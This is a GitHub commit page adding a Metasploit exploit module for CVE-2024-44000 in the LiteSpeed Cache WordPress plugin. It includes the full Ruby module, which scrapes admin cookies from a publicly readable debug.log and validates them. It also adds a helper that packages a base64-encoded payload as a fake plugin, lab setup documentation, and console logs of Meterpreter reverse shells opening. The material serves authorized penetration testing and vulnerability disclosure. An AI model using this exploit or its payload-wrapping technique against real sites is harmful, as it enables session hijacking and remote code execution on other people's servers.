Skip to content

Commit 6e696e2

Browse files
committed
Land rapid7#19457, WP Plugin LiteSpeed Cache Account Take Over Module
2 parents f20dcb2 + 84a8eb7 commit 6e696e2

File tree

3 files changed

+296
-0
lines changed

3 files changed

+296
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently
3+
has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging
4+
feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible
5+
without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies
6+
found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
7+
8+
### Setup
9+
Spin up a WordPress container with the following docker-compose file:
10+
```yml
11+
version: '3.8'
12+
13+
services:
14+
db:
15+
image: mysql:latest
16+
volumes:
17+
- db_data:/var/lib/mysql
18+
restart: always
19+
environment:
20+
MYSQL_ROOT_PASSWORD: example_root_password
21+
MYSQL_DATABASE: wordpress
22+
MYSQL_USER: wordpress_user
23+
MYSQL_PASSWORD: example_password
24+
25+
wordpress:
26+
depends_on:
27+
- db
28+
image: wordpress:latest
29+
ports:
30+
- "8000:80"
31+
restart: always
32+
environment:
33+
WORDPRESS_DB_HOST: db:3306
34+
WORDPRESS_DB_USER: wordpress_user
35+
WORDPRESS_DB_PASSWORD: example_password
36+
WORDPRESS_DB_NAME: wordpress
37+
volumes:
38+
- wordpress_data:/var/www/html
39+
40+
volumes:
41+
db_data:
42+
wordpress_data:
43+
```
44+
45+
Download, install and activate the vulnerable LiteSpeed Cache plugin: https://downloads.wordpress.org/plugin/litespeed-cache.6.3.zip
46+
Once installed a LiteSpeed menu bar item should appear on the left hand side of the application. When clicked a drop down
47+
should appear. Select "ToolBox", then select "Debug Settings". Then switch the "Debug Log" feature to "On".
48+
49+
Sign out of WordPress and when you reauthenticate your admin cookie will be logged to /wp-content/debug.log
50+
51+
## Verification Steps
52+
53+
1. Start msfconsole
54+
1. Do: `use multi/http/wp_litespeed_cookie_theft`
55+
1. Set the `RHOST`, `LHOST` and `RPORT`
56+
1. Run the module
57+
1. Receive a Meterpreter session in the context of the user running the WordPress site.
58+
59+
## Scenarios
60+
### ARCH_PHP Target - LiteSpeed Cache 6.3 - WordPress 6.4.3
61+
62+
```
63+
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run
64+
65+
[*] Started reverse TCP handler on 192.168.1.67:4444
66+
[*] Running automatic check ("set AutoCheck false" to disable)
67+
[*] One or more potential admin cookies were found
68+
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
69+
[*] Preparing payload...
70+
[*] Uploading payload...
71+
[*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php...
72+
[*] Sending stage (39927 bytes) to 192.168.1.67
73+
[+] Deleted OiDynMUetY.php
74+
[+] Deleted qSNzhabMTP.php
75+
[+] Deleted ../qSNzhabMTP
76+
[*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700
77+
78+
meterpreter > getuid
79+
Server username: www-data
80+
meterpreter > sysinfo
81+
Computer : 29292f368fe3
82+
OS : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64
83+
Meterpreter : php/linux
84+
```
85+
86+
### ARCH_CMD Target - LiteSpeed Cache 6.3 - WordPress 6.4.3
87+
88+
```
89+
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run
90+
91+
[*] Started reverse TCP handler on 192.168.1.67:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[*] One or more potential admin cookies were found
94+
[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload
95+
[*] Preparing payload...
96+
[*] Uploading payload...
97+
[*] Executing the payload at /wp-content/plugins/IVStOPtwuq/WvXecICkgw.php...
98+
[*] Sending stage (3045380 bytes) to 192.168.1.67
99+
[+] Deleted WvXecICkgw.php
100+
[+] Deleted IVStOPtwuq.php
101+
[+] Deleted ../IVStOPtwuq
102+
[*] Meterpreter session 6 opened (192.168.1.67:4444 -> 192.168.1.67:64884) at 2024-09-11 23:14:49 -0700
103+
104+
meterpreter > getuid
105+
Server username: www-data
106+
meterpreter > sysinfo
107+
Computer : 172.22.0.3
108+
OS : Debian 12.5 (Linux 6.10.4-linuxkit)
109+
Architecture : x64
110+
BuildTuple : x86_64-linux-musl
111+
Meterpreter : x64/linux
112+
```

lib/msf/core/exploit/remote/http/wordpress/admin.rb

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,30 @@ def wordpress_upload_plugin(name, zip, cookie)
4242
end
4343
end
4444

45+
46+
# Generate a WordPress plugin containing a Metasploit payload.
47+
#
48+
# @param plugin_name [String] The name of the plugin
49+
# @param payload_name [String] The .php file name
50+
# @return [Rex::Zip::Archive] return a valid WordPress plugin in a zip file.
51+
def generate_plugin(plugin_name, payload_name)
52+
plugin_script = %(<?php
53+
/**
54+
* Plugin Name: #{plugin_name}
55+
* Version: #{Faker::App.semantic_version}
56+
* Author: #{Faker::Name.name}
57+
* Author URI: #{Faker::Internet.url}
58+
* License: GPL2
59+
*/
60+
?>)
61+
62+
php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
63+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
64+
zip.add_file(File.join(plugin_name, "#{plugin_name}.php"), plugin_script)
65+
zip.add_file(File.join(plugin_name, "#{payload_name}.php"), php_code)
66+
zip
67+
end
68+
4569
# Edits a plugin file (relative to plugins dir) using a valid admin session.
4670
#
4771
# @param file [String] The plugin file to edit (relative to plugins dir)
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HTTP::Wordpress
11+
include Msf::Exploit::FileDropper
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
class DebugLogError < StandardError; end
15+
class WordPressNotOnline < StandardError; end
16+
class AdminCookieError < StandardError; end
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
23+
'Description' => %q{
24+
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
25+
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
26+
the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint
27+
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
28+
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
29+
},
30+
'Author' => [
31+
'Rafie Muhammad', # discovery
32+
'jheysel-r7' # module
33+
],
34+
'References' => [
35+
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
36+
[ 'CVE', '2024-44000']
37+
],
38+
'License' => MSF_LICENSE,
39+
'Privileged' => false,
40+
'Platform' => ['unix', 'linux', 'win', 'php'],
41+
'Arch' => [ARCH_PHP, ARCH_CMD],
42+
'Targets' => [
43+
[
44+
'PHP In-Memory',
45+
{
46+
'Platform' => 'php',
47+
'Arch' => ARCH_PHP
48+
# tested with php/meterpreter/reverse_tcp
49+
}
50+
],
51+
[
52+
'Unix In-Memory',
53+
{
54+
'Platform' => ['unix', 'linux'],
55+
'Arch' => ARCH_CMD
56+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
57+
}
58+
],
59+
[
60+
'Windows In-Memory',
61+
{
62+
'Platform' => 'win',
63+
'Arch' => ARCH_CMD
64+
}
65+
],
66+
],
67+
'DefaultTarget' => 0,
68+
'DisclosureDate' => '2024-09-04',
69+
'Notes' => {
70+
'Stability' => [ CRASH_SAFE, ],
71+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
72+
'Reliability' => [ REPEATABLE_SESSION, ]
73+
}
74+
)
75+
)
76+
end
77+
78+
def check
79+
@admin_cookie = get_valid_admin_cookie
80+
CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')
81+
rescue WordPressNotOnline => e
82+
return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")
83+
rescue DebugLogError => e
84+
return CheckCode::Safe("#{e.class}, #{e}")
85+
rescue AdminCookieError => e
86+
return CheckCode::Safe("#{e.class}, #{e}")
87+
end
88+
89+
def extract_cookies(debug_log)
90+
admin_cookies = []
91+
debug_log.each_line do |log_line|
92+
# 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c
93+
match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
94+
admin_cookies << match.captures.compact.join('; ') if match
95+
end
96+
admin_cookies
97+
end
98+
99+
def verify_admin_cookie(admin_cookies)
100+
admin_cookies.each do |admin_cookie|
101+
res = send_request_cgi({
102+
'uri' => '/wp-admin/',
103+
'cookie' => admin_cookie
104+
})
105+
return admin_cookie if res&.code == 200
106+
end
107+
108+
nil
109+
end
110+
111+
def get_valid_admin_cookie
112+
raise WordPressNotOnline unless wordpress_and_online?
113+
114+
res = send_request_cgi({
115+
'uri' => normalize_uri('wp-content', 'debug.log'),
116+
'method' => 'GET'
117+
})
118+
raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200
119+
raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')
120+
121+
admin_cookies = extract_cookies(res.body)
122+
raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?
123+
124+
print_status('One or more potential admin cookies were found')
125+
126+
admin_cookie = verify_admin_cookie(admin_cookies)
127+
raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie
128+
129+
admin_cookie
130+
end
131+
132+
def exploit
133+
unless @admin_cookie
134+
begin
135+
@admin_cookie = get_valid_admin_cookie
136+
print_good('Found and tested valid admin cookie, we can upload and execute a payload')
137+
rescue WordPressNotOnline => e
138+
fail_with(Failure::NotFound, "#{e.class}, #{e}")
139+
rescue DebugLogError, AdminCookieError => e
140+
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
141+
end
142+
end
143+
144+
print_status('Preparing payload...')
145+
plugin_name = Rex::Text.rand_text_alpha(10)
146+
payload_name = Rex::Text.rand_text_alpha(10).to_s
147+
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
148+
zip = generate_plugin(plugin_name, payload_name)
149+
150+
print_status('Uploading payload...')
151+
152+
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
153+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
154+
155+
print_status("Executing the payload at #{payload_uri}...")
156+
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
157+
register_dir_for_cleanup("../#{plugin_name}")
158+
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })
159+
end
160+
end

0 commit comments

Comments
 (0)